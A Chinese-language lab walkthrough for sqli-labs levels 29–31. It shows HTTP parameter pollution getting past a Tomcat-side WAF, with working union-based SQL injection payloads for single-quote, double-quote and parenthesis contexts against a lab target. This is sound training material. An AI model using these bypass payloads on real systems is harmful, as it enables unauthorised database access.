第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux
Windows 7
第二步,查看Tomcat中第29关的源码(位于桌面/apache-tomcat-9.0.29/webapps/sqli-labs/Less-29/index.jsp)
源代码中,通过正则表达式限制id的值必须是数字,除数字以外的内容如果出现,则被拦截。
第三步,切换至Windows 7靶机控制台,运行Tomcat:
桌面/apache-tomcat-9.0.29/bin/双击startup.bat
第四步,使用Kali Linux访问sqli-lab第29关的页面:
http://172.16.1.200:8080(靶机IP地址)/sqli-labs/Less-29/
第五步,先尝试双引号是否能引发报错:
http://172.16.1.200:8080/sqli-labs/Less-29/?id=1"
被WAF拦截,并跳转至hacked.jsp。
第六步,尝试使用单引号引发报错:
?id=1'
同样的,单引号也被WAF所拦截。
可以推断WAF接收到某些非法字符时,就会将页面跳转至hacked.jsp。
第七步,尝试绕过限制:
1. 测试id=1时返回的结果:
?id=1
2. 测试id=2时返回的结果:
3. 如果同时传递两个id,将如何显示?
id=1&id=2
显示的是id=2时的返回结果。
4. 尝试在id=1后加入一个单引号:
id=1'&id=2
被WAF拦截。
5. 尝试在id=2后加入一个单引号:
id=1&id=2'
报错出现,初步注入成功。
6. 解释原因:
Apache(PHP)解析最后一个参数,即显示id=2的内容。Tomcat(JSP)解析第一个参数,即显示id=1的内容:
以上图片为大多数服务器对于参数解析的介绍。
此处我们想一个问题:?id=1&id=2请求,针对服务器配置情况,客户端请求首先过Tomcat,Tomcat解析第一个参数,接下来Tomcat去请求Apache(PHP)服务器,Apache解析最后一个参数。那最终返回客户端的应该是哪个参数?
此处应该是id=2的内容,应为时间上提供服务的是Apache(PHP)服务器,返回的数据也应该是Apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在Tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),HTTP参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。
7. 爆出当前数据库的名称:
?id=1&id=-1' union select 1,2,database() --+
第八步,切换至关卡30:
http://172.16.1.200:8080/sqli-labs/Less-30
第九步,对第30关卡进行SQL注入测试:
1. 确定30关卡是否也同样限制id必须为数字:
?id=1'
2. 使用双id尝试绕过:
?id=1&id=2
3. 尝试爆出当前数据库的名称:
?id=1&id=-1' union select 1,2,database() --+
有正确回显但无错误回显。
4. 测试引号字符类型:
?id=1&id=2'
回显正常。
5. 测试引号字符类型:
?id=1&id=2"
无回显信息,所以注入漏洞为“双引号字符型”。
6. 双引号字符型注入,直接将刚刚的单引号修改为双引号即可:
?id=1&id=-1" union select 1,2,database() --+
第十步,切换至关卡31:
http://172.16.1.200:8080/sqli-labs/Less-31
第十一步,对关卡31进行注入测试:
1. 正常查询id:
?id=1
正常返回结果,在页面底部发现,显示了我们传入的id。
2. 尝试进行双id绕过,且执行SQL语句:
?id=1&id=-1'union select 1,2,3 --+
无返回结果,且在页面下方看到我们的符号都被进行了URL编码,注入失败。
3. 查看第31关卡源码(位于C:\AppServ\www\sqli-labs\Less-31\index.php):
从SQL语句中可以注意到,id被括号括了起来,我们需要绕过该括号进行注入。
4. 绕过括号进行注入:
?id=1&id=-1") union select 1,2,database() --+
注入成功。